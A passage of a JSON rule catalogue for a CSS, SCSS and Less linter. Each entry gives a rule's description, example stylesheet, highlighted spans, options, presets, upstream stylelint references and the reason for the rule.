          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/at-rule-conditional-no-parentheses/README.md"
        }
      ],
      "why": "In Sass the condition ends at the block, so the parentheses do nothing; they come from the languages where they are needed, and they add noise.\n\nTo fix, delete the parentheses."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an at-rule that is in the `list` option (a vendor prefix is left out of the name).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@media (min-width: 40em) and (color) {\n  a { float: left; width: 1em }\n}\na:hover::before > b[style] { color: red; width: calc(1px + 2px); --x: 1em }\n.c { margin: 0 0 1px 2em; height: 50%; font-size: 12PX }\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          5,
          6
        ],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "at-rule-disallowed-list",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "The disallowed at-rules, without `@`: names, or `/regex/`.",
          "name": "list",
          "type": "list"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "at-rule-disallowed-list",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/at-rule-disallowed-list"
        }
      ],
      "why": "A project can forbid an at-rule, such as `@import`, that costs a request per file or that its build does not support. The rule is a policy: with no `list` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an at-rule with no empty line before it. The first at-rule of a block, one right after a comment, and a blockless at-rule right after a blockless one of the same name (a run of `@import` lines) need none. `@else` is not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import \"a.css\";\n@import \"b.css\";\n\n@import \"c.css\";\na { color: red; }\nb { color: red; }\n\nc { color: red;\n  top: 0; }\nd { color: red;\n  top: 0; }\n/* comment */\ne { color: red; }\n\n/* comment */\n\nf {\n\n  color: red;\n  top: 0;\n\n  left: 0;\n  /* c */\n  right: 0;\n  g { x: y }\n  h { x: y;\n    z: w }\n  @media (a) { top: 0; }\n  bottom: 0;\n}\n@media (a) { top: 0; }\n@media (b) { top: 0; }\n@font-face { font-family: x; }\nx { --a: 1;\n  --b: 2;\n\n  --c: 3;\n  color: red; }\ny {\n  @media (a) { top: 0; }\n  @media (b) { top: 0; }\n}\n",
        "language": "css",
        "other_lines": [
          10,
          19,
          22,
          26,
          27,
          29,
          34,
          38,
          39,
          40
        ],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 4
          },
          {
            "column": 3,
            "length": 6,
            "line": 28
          },
          {
            "column": 1,
            "length": 6,
            "line": 31
          },
          {
            "column": 1,
            "length": 6,
            "line": 32
          },
          {
            "column": 1,
            "length": 10,
            "line": 33
          },
          {
            "column": 3,
            "length": 6,
            "line": 41
          }
        ]
      },
      "fix": null,
      "id": "at-rule-empty-line-before",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "at-rule-empty-line-before",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/at-rule-empty-line-before"
        }
      ],
      "why": "Blank lines separate the blocks of a stylesheet, so an `@media` or `@include` that follows a declaration or a rule stays visible as its own unit. A run of `@import` or `@use` lines is one list and stays together."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a deprecated at-rule (`@document`, `@nest`, `@viewport`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@nest a {}\na { word-wrap: break-word; clip: rect(0 0 0 0); -webkit-box-flex: 1; grid-gap: 1px }\n@media tv, only handheld and (color), print {}\ncenter, a:matches(b), a::content, b {}\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          4
        ],
        "spans": [
          {
            "column": 1,
            "length": 5,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "at-rule-no-deprecated",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "at-rule-no-deprecated",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/at-rule-no-deprecated"
        }
      ],
      "why": "A deprecated at-rule was removed or is being removed from browsers, so a stylesheet that depends on it stops working there. A replacement exists or the feature was dropped.\n\nTo fix, use the replacement named in the specification, for example `&` nesting for `@nest`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an at-rule that no CSS specification lists. Vendor-prefixed ones are not reported; SCSS has its own (`@include`, `@mixin`, ...) and Less at-rules are not checked. Tailwind's are left out by default; the `ignore` option lists more.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@foo {}\n@media (foo: 1) and (min-width: 1px) and (-webkit-min-device-pixel-ratio: 2) and (400px <= width) {}\n@media (min-resolution: 2x) {}\na { colour: red; width: 1foo; height: 2x; -webkit-foo: 1; --x: 1foo; width: foo(1) bar(2) var(--a) calc(1px + 2px) }\na { background: image-set(url(\"a.png\") 1x); margin: 1PX 2% 1e3em }\na:foo, a:hover, a::foo, a::before, a:before, a:-moz-foo, a:nth-child(even), a:lang(en), a:not(:bar) {}\nfoo, div, b::slotted(x-y), svg > circle {}\n::-webkit-scrollbar-thumb:horizontal {}\na:horizontal {}\n@page :first { margin: 1cm }\n@font-face {\n  src: url(\"a\");\n  font-display: swap;\n}\n@keyframes k { from { color: red } 50% { color: blue } }\n",
        "language": "css",
        "other_lines": [
          2,
          4,
          6,
          7,
          9
        ],
        "spans": [
          {
            "column": 1,
            "length": 4,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "at-rule-no-unknown",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [
            "tailwind",
            "apply",
            "theme",
            "utility",
            "variant",
            "custom-variant",
            "source",
            "plugin",
            "config",
            "reference",
            "screen"
          ],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "at-rule-no-unknown",
          "note": "Less at-rules are not told apart (detached ruleset calls look like at-rules), so none is reported in Less.",
          "partial": true,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/at-rule-no-unknown"
        },
        {
          "id": "scss/at-rule-no-unknown",
          "note": "Less at-rules are not told apart (detached ruleset calls look like at-rules), so none is reported in Less.",
          "partial": true,
          "tool": "stylelint-scss",
          "url": "https://github.com/stylelint-scss/stylelint-scss/blob/v7.4.0/src/rules/at-rule-no-unknown/README.md"
        }
      ],
      "why": "An unknown at-rule is a typo or a rule that the browser does not implement, and the browser skips the whole block it opens, so a large part of the stylesheet can be dropped.\n\nTo fix, correct the name."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a vendor-prefixed at-rule that has a standard one (`@-webkit-keyframes`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@-webkit-keyframes k { from { color: red } }\n@media (-webkit-min-device-pixel-ratio: 2) {}\na { -webkit-transition: none; -webkit-foo: 1; display: -webkit-flex; background: -webkit-linear-gradient(red, blue) }\na::-moz-selection {}\na:-moz-placeholder, a::-webkit-scrollbar {}\n",
        "language": "css",
        "other_lines": [
          2,
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 1,
            "length": 18,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "at-rule-no-vendor-prefix",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": [],
          "description": "Names left out: names, or `/regex/`.",
          "name": "ignore",
          "type": "list"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "at-rule-no-vendor-prefix",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/at-rule-no-vendor-prefix"
        }
      ],
      "why": "A prefixed at-rule was a way to try a feature before it was standardised. Browsers support the standard name now, so the prefixed one repeats the whole block for nothing.\n\nTo fix, use the standard at-rule."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a rule or at-rule block with nothing in it, comments included.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a {}\nb { }\nc { /* kept */ }\n@media print {}\nd { color: red }\n",
        "language": "css",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 2,
            "line": 1
          },
          {
            "column": 3,
            "length": 3,
            "line": 2
          },
          {
            "column": 14,
            "length": 2,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "block-no-empty",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "block-no-empty",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/block-no-empty"
        }
      ],
      "why": "An empty block does nothing. It is a leftover of a deleted declaration or a placeholder that was never filled, and it adds bytes and noise to the file.\n\nTo fix, delete the rule, or put the declarations in it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `rgba()` and `hsla()`, the legacy names of `rgb()` and `hsl()`, on the function name.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a { color: rgba(0, 0, 0, 0.5); }\nb { color: rgb(0, 0, 0); }\nc { color: rgba(0 0 0 / 50%); }\nd { color: rgb(0 0 0 / 0.5); }\ne { color: hsl(120deg 50% 50%); }\nf { color: hsl(120, 50%, 50%); }\ng { color: hsla(120 50% 50% / 50%); }\nh { color: rgb(0 0 0 / 50%); }\ni { color: hsl(120 50% 50% / 0.5); }\nj { color: rgb(var(--x), 0.5); }\nk { color: rgb(var(--x) / 0.5); }\nl { color: oklch(50% 0.2 120); }\nm { color: oklch(50% 0.2 120deg / 50%); }\nn { color: rgb(0 0 0); }\no { color: hsla(var(--h), var(--s), var(--l), 1); }\n",
        "language": "css",
        "other_lines": [
          2,
          4,
          6,
          9,
          11,
          12
        ],
        "spans": [
          {
            "column": 12,
            "length": 4,
            "line": 1
          },
          {
            "column": 12,
            "length": 4,
            "line": 3
          },
          {
            "column": 12,
            "length": 4,
            "line": 7
          },
          {
            "column": 12,
            "length": 4,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "color-function-alias-notation",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "color-function-alias-notation",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/color-function-alias-notation"
        }
      ],
      "why": "Since Color Level 4 `rgb()` and `hsl()` take an optional alpha value, so the `a` names are aliases that exist only for old code. Two names for one function make a stylesheet read as two styles.\n\nTo fix, write `rgb(0 0 0 / 50%)` instead of `rgba(0 0 0 / 50%)`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `rgb()`, `rgba()`, `hsl()` or `hsla()` with the legacy comma-separated arguments (`rgb(0, 0, 0)`), also when one argument is a call such as `var()`. The space-separated form (`rgb(0 0 0)`) is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a { color: rgba(0, 0, 0, 0.5); }\nb { color: rgb(0, 0, 0); }\nc { color: rgba(0 0 0 / 50%); }\nd { color: rgb(0 0 0 / 0.5); }\ne { color: hsl(120deg 50% 50%); }\nf { color: hsl(120, 50%, 50%); }\ng { color: hsla(120 50% 50% / 50%); }\nh { color: rgb(0 0 0 / 50%); }\ni { color: hsl(120 50% 50% / 0.5); }\nj { color: rgb(var(--x), 0.5); }\nk { color: rgb(var(--x) / 0.5); }\nl { color: oklch(50% 0.2 120); }\nm { color: oklch(50% 0.2 120deg / 50%); }\nn { color: rgb(0 0 0); }\no { color: hsla(var(--h), var(--s), var(--l), 1); }\n",
        "language": "css",
        "other_lines": [
          3,
          4,
          7,
          9,
          11,
          12
        ],
        "spans": [
          {
            "column": 12,
            "length": 4,
            "line": 1
          },
          {
            "column": 12,
            "length": 3,
            "line": 2
          },
          {
            "column": 12,
            "length": 3,
            "line": 6
          },
          {
            "column": 12,
            "length": 4,
            "line": 15
          }
        ]
      },
      "fix": null,
      "id": "color-function-notation",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "color-function-notation",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/color-function-notation"
        }
      ],
      "why": "The modern notation separates the channels with spaces and the alpha value with `/`, the way every other color function of Color Level 4 (`lab()`, `oklch()`, `color()`) does, so one rule of writing covers them all. The comma form is kept only for old browsers.\n\nTo fix, replace the commas with spaces and put `/` before the alpha value."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a hex color that can be written with three or four digits (`#aabbcc`). With the `style` option set to `long`, a color written short is reported instead.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import url(\"a.css\");\n@import \"b.css\";\na {\n  margin: 0px 0.0em 0;\n  transition: 0s;\n  width: calc(0px + 1px);\n  --x: 0px;\n  background: url(a.png), url(\"b.png\");\n  color: #aabbcc;\n  color: #abc;\n  border-color: #ab #abcde #abcdef;\n  padding: 1px 1px;\n  padding: 1px 2px 1px 2px;\n  padding: 1px 2px 3px 2px;\n  font-family: \"Arial\", 'Lucida Grande', \"Font 2\", sans-serif;\n}\n",
        "language": "css",
        "other_lines": [
          1,
          4,
          7,
          8,
          10,
          11,
          12,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 10,
            "length": 7,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "color-hex-length",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "choices": [
            "short",
            "long"
          ],
          "default": "short",
          "description": "`short` reports colors that can be shortened, `long` those that are short.",
          "name": "style",
          "type": "string"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "color-hex-length",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/color-hex-length"
        }
      ],
      "why": "One length for hex colors keeps a file uniform, and the short form is the usual one: it is half the bytes and still unambiguous.\n\nTo fix, shorten each pair of equal digits to one."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a hex color (`#fff`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import url(\"a.css\");\n@import \"b.css\";\na {\n  margin: 0px 0.0em 0;\n  transition: 0s;\n  width: calc(0px + 1px);\n  --x: 0px;\n  background: url(a.png), url(\"b.png\");\n  color: #aabbcc;\n  color: #abc;\n  border-color: #ab #abcde #abcdef;\n  padding: 1px 1px;\n  padding: 1px 2px 1px 2px;\n  padding: 1px 2px 3px 2px;\n  font-family: \"Arial\", 'Lucida Grande', \"Font 2\", sans-serif;\n}\n",
        "language": "css",
        "other_lines": [
          1,
          4,
          7,
          8,
          12,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 10,
            "length": 7,
            "line": 9
          },
          {
            "column": 10,
            "length": 4,
            "line": 10
          },
          {
            "column": 28,
            "length": 7,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "color-no-hex",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "color-no-hex",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/color-no-hex"
        }
      ],
      "why": "Some projects use named colors or functions only, so a color can be told by its name or channels, not by a code that has to be decoded. The rule is a policy for those; it is off by default.\n\nTo fix, write the color as a name or with `rgb()`, `hsl()` or another function."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a hex color that does not have 3, 4, 6 or 8 digits (`#ab`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "@import url(\"a.css\");\n@import \"b.css\";\na {\n  margin: 0px 0.0em 0;\n  transition: 0s;\n  width: calc(0px + 1px);\n  --x: 0px;\n  background: url(a.png), url(\"b.png\");\n  color: #aabbcc;\n  color: #abc;\n  border-color: #ab #abcde #abcdef;\n  padding: 1px 1px;\n  padding: 1px 2px 1px 2px;\n  padding: 1px 2px 3px 2px;\n  font-family: \"Arial\", 'Lucida Grande', \"Font 2\", sans-serif;\n}\n",
        "language": "css",
        "other_lines": [
          1,
          4,
          7,
          8,
          9,
          10,
          12,
          13,
          14,
          15
        ],
        "spans": [
          {
            "column": 17,
            "length": 3,
            "line": 11
          },
          {
            "column": 21,
            "length": 6,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "color-no-invalid-hex",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "color-no-invalid-hex",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/color-no-invalid-hex"
        }
      ],
      "why": "CSS accepts only those lengths, so the declaration is invalid and the browser drops it, and the element is left with the inherited or default color.\n\nTo fix, correct the number of digits."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `/* */` comment on a line of its own with no empty line before it. One that is first in its block, on the line of code, or a directive comment is not reported. A `//` comment is another rule's.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "/* first */\na { color: red; }\n/* needs a line */\n\n/* has one */\nb {\n  /* first in the block */\n  color: red;\n  /* needs a line */\n\n  /* has one */\n  top: 0; /* same line */\n}\n/* stylelint-disable */\nc { top: 0; }\n",
        "language": "css",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 18,
            "line": 3
          },
          {
            "column": 3,
            "length": 18,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "comment-empty-line-before",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "comment-empty-line-before",
          "note": "`//` comments are left to double-slash-comment-empty-line-before, as stylelint ignores them",
          "partial": true,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/comment-empty-line-before"
        }
      ],
      "why": "A comment describes what follows, and an empty line before it ties it to the next rule rather than to the end of the previous one."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `@container` name that does not match the `pattern` option (a regex). An empty pattern allows everything.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".good-name, .badName, #bad_id, #good-id { --good-name: 1; --badName: 2 }\n@keyframes badFrames { from { top: 0 } }\n@keyframes good-frames { from { top: 0 } }\n@custom-media --badMedia (min-width: 1px);\n@custom-media --good-media (min-width: 1px);\n@layer badLayer, good-layer;\n@container badBox (min-width: 1px) { a { color: red } }\n@container good-box (min-width: 1px) { a { color: red } }\nA, B.c:not(.dX) {}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          4,
          6,
          9
        ],
        "spans": [
          {
            "column": 12,
            "length": 6,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "container-name-pattern",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": "",
          "description": "The regex a container name must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "container-name-pattern",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/container-name-pattern"
        }
      ],
      "why": "Container names are global to the page, so a convention keeps them predictable and lowers the risk of two components using one name. The rule is a policy: with no `pattern` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `@custom-media` name, without its `--`, that does not match the `pattern` option (a regex). An empty pattern allows everything.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".good-name, .badName, #bad_id, #good-id { --good-name: 1; --badName: 2 }\n@keyframes badFrames { from { top: 0 } }\n@keyframes good-frames { from { top: 0 } }\n@custom-media --badMedia (min-width: 1px);\n@custom-media --good-media (min-width: 1px);\n@layer badLayer, good-layer;\n@container badBox (min-width: 1px) { a { color: red } }\n@container good-box (min-width: 1px) { a { color: red } }\nA, B.c:not(.dX) {}\n",
        "language": "css",
        "other_lines": [
          1,
          2,
          6,
          7,
          9
        ],
        "spans": [
          {
            "column": 15,
            "length": 10,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "custom-media-pattern",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": "",
          "description": "The regex a custom media name, without its `--`, must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "custom-media-pattern",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/custom-media-pattern"
        }
      ],
      "why": "A naming convention for custom media queries keeps the breakpoints of a project predictable. The rule is a policy: with no `pattern` it reports nothing."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a custom property declaration with no empty line before it. One that is first in its block, right after a comment or another custom property, or in a single-line block is not reported.",
      "example": {
        "config": "dollar-variable-empty-line-before: warn\ncustom-property-empty-line-before: warn\ndouble-slash-comment-empty-line-before: warn\nno-empty-comment: { level: warn, options: { separators: true } }\n",
        "fixed": null,
        "input": "$a: 1;\n$b: 2;\n// note\n$c: 3;\n.x {\n  $d: 4;\n  color: red;\n  $e: 5;\n  --f: 6;\n  --g: 7;\n  // one\n\n  // two\n  top: 0; // inline\n  // stylelint-disable\n  //\n  // text\n}\n",
        "language": "scss",
        "other_lines": [
          3,
          8,
          11,
          16
        ],
        "spans": [
          {
            "column": 3,
            "length": 3,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "custom-property-empty-line-before",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "custom-property-empty-line-before",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/custom-property-empty-line-before"
        }
      ],
      "why": "Custom properties are the variables of a block, and a gap before the first of them sets them off from the ordinary declarations, so a reader finds the values a block defines."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a custom property that the file declares, used in a value without `var()` (`calc(--x * 2)`), on the property name. Properties that take names (`transition`, `will-change`, ...) are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ":root { --x: 1; --y: 2 }\na { width: calc(--x * 2); transition: --y 1s; margin: var(--x); height: --z }\nb { grid-template-areas: \"a b\" \"a\" }\nc { grid-template-areas: \"a a\" \"b a\" }\nd { grid-template-areas: \"a b\" \"c d\" }\n",
        "language": "css",
        "other_lines": [
          3,
          4
        ],
        "spans": [
          {
            "column": 17,
            "length": 3,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "custom-property-no-missing-var-function",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "custom-property-no-missing-var-function",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/custom-property-no-missing-var-function"
        }
      ],
      "why": "`--x` in a value is a plain identifier, not the value of the custom property, so the declaration is invalid or means something else.\n\nTo fix, write `var(--x)`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a custom property whose name, without the `--`, does not match the `pattern` option (a regex), where it is declared, used in `var()` or named by `@property`. An empty pattern allows everything.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".good-name, .badName, #bad_id, #good-id { --good-name: 1; --badName: 2 }\n@keyframes badFrames { from { top: 0 } }\n@keyframes good-frames { from { top: 0 } }\n@custom-media --badMedia (min-width: 1px);\n@custom-media --good-media (min-width: 1px);\n@layer badLayer, good-layer;\n@container badBox (min-width: 1px) { a { color: red } }\n@container good-box (min-width: 1px) { a { color: red } }\nA, B.c:not(.dX) {}\n",
        "language": "css",
        "other_lines": [
          2,
          4,
          6,
          7,
          9
        ],
        "spans": [
          {
            "column": 59,
            "length": 9,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "custom-property-pattern",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": "",
          "description": "The regex a custom property name, without its `--`, must match.",
          "name": "pattern",
          "type": "string"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "custom-property-pattern",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/custom-property-pattern"
        }
      ],
      "why": "A naming convention for custom properties makes the variables of a design system predictable, so a name can be guessed and searched for. The rule is a policy: with no `pattern` it reports nothing."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a custom property declared twice in one block (names are case sensitive), on the repeat.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a {\n  color: red;\n  color: blue;\n  --x: 1;\n  --x: 2;\n  --X: 3;\n  margin-top: 1px;\n  margin: 0;\n  src: a;\n  src: b;\n}\n",
        "language": "css",
        "other_lines": [
          2,
          8
        ],
        "spans": [
          {
            "column": 3,
            "length": 3,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "declaration-block-no-duplicate-custom-properties",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "declaration-block-no-duplicate-custom-properties",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/declaration-block-no-duplicate-custom-properties"
        }
      ],
      "why": "The later declaration of a custom property wins and the earlier one is lost, so the value that a reader sees first is not the value `var()` returns. It is almost always a copy and paste mistake.\n\nTo fix, delete one of the declarations or rename it."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a property declared twice in one block, on the earlier declaration (on the later one when only the earlier one is `!important`). `src` and custom properties are not reported. With `ignore_consecutive_different_values` a repeat right after the same property with another value is left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a {\n  color: red;\n  color: blue;\n  --x: 1;\n  --x: 2;\n  --X: 3;\n  margin-top: 1px;\n  margin: 0;\n  src: a;\n  src: b;\n}\n",
        "language": "css",
        "other_lines": [
          5,
          8
        ],
        "spans": [
          {
            "column": 3,
            "length": 5,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "declaration-block-no-duplicate-properties",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": false,
          "description": "Leave a repeat right after the same property with another value alone (`display: -webkit-box; display: flex`).",
          "name": "ignore_consecutive_different_values",
          "type": "bool"
        }
      ],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "declaration-block-no-duplicate-properties",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/declaration-block-no-duplicate-properties"
        }
      ],
      "why": "The later declaration replaces the earlier one, so the earlier one does nothing. Most often it is a copy and paste mistake or a leftover of an edit, and the author reads the wrong value as the one in force.\n\nTo fix, delete the declaration that is not meant to apply. A deliberate fallback for old browsers (`display: -webkit-box; display: flex`) can stay with `ignore_consecutive_different_values`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a shorthand property declared after one of its longhands in the same block (`margin-top: 1px; margin: 0`), on the longhand.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a {\n  color: red;\n  color: blue;\n  --x: 1;\n  --x: 2;\n  --X: 3;\n  margin-top: 1px;\n  margin: 0;\n  src: a;\n  src: b;\n}\n",
        "language": "css",
        "other_lines": [
          2,
          5
        ],
        "spans": [
          {
            "column": 3,
            "length": 6,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "declaration-block-no-shorthand-property-overrides",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [],
      "presets": [
        "css/stylelint-recommended"
      ],
      "upstream": [
        {
          "id": "declaration-block-no-shorthand-property-overrides",
          "partial": false,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/declaration-block-no-shorthand-property-overrides"
        }
      ],
      "why": "The shorthand sets every longhand it stands for, so it overwrites the earlier longhand. The longhand does nothing, and the author probably meant it to apply on top of the shorthand.\n\nTo fix, put the longhand after the shorthand."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a block written on one line that has more declarations than the `max` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": ".a.b.c, #x #y, a b c d, [p][q], * *, a:hover:focus { color: red }\n.d { .e { .f { .g { color: red } } } }\n.h { color: red; margin: 0 }\n.i {\n  color: red; margin: 0;\n}\n.j { width: 1.23456px; height: 10.5%; opacity: 0.12345 }\n",
        "language": "css",
        "other_lines": [
          1,
          2
        ],
        "spans": [
          {
            "column": 4,
            "length": 25,
            "line": 3
          },
          {
            "column": 4,
            "length": 53,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "declaration-block-single-line-max-declarations",
      "languages": [
        "css",
        "less",
        "scss"
      ],
      "options": [
        {
          "default": 1,
          "description": "The most declarations a single-line block may have.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [
        "css/stylelint-standard"
      ],
      "upstream": [
        {
          "id": "declaration-block-single-line-max-declarations",
          "note": "differs from stylelint on single-line @font-face blocks",
          "partial": true,
          "tool": "stylelint",
          "url": "https://stylelint.io/user-guide/rules/"
        }
      ],
      "why": "A single-line block is easy to scan only while it is short; with many declarations the line becomes long, and a diff shows the whole line as changed. A limit (often 1) moves the rest to separate lines."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a declaration that follows a rule or at-rule and has no empty line before it. A declaration after another declaration, one first in its block, one right after a comment, one in a single-line block, and custom properties and variables are not reported.",
      "example": {
        "config": null,
        "fixed": null,
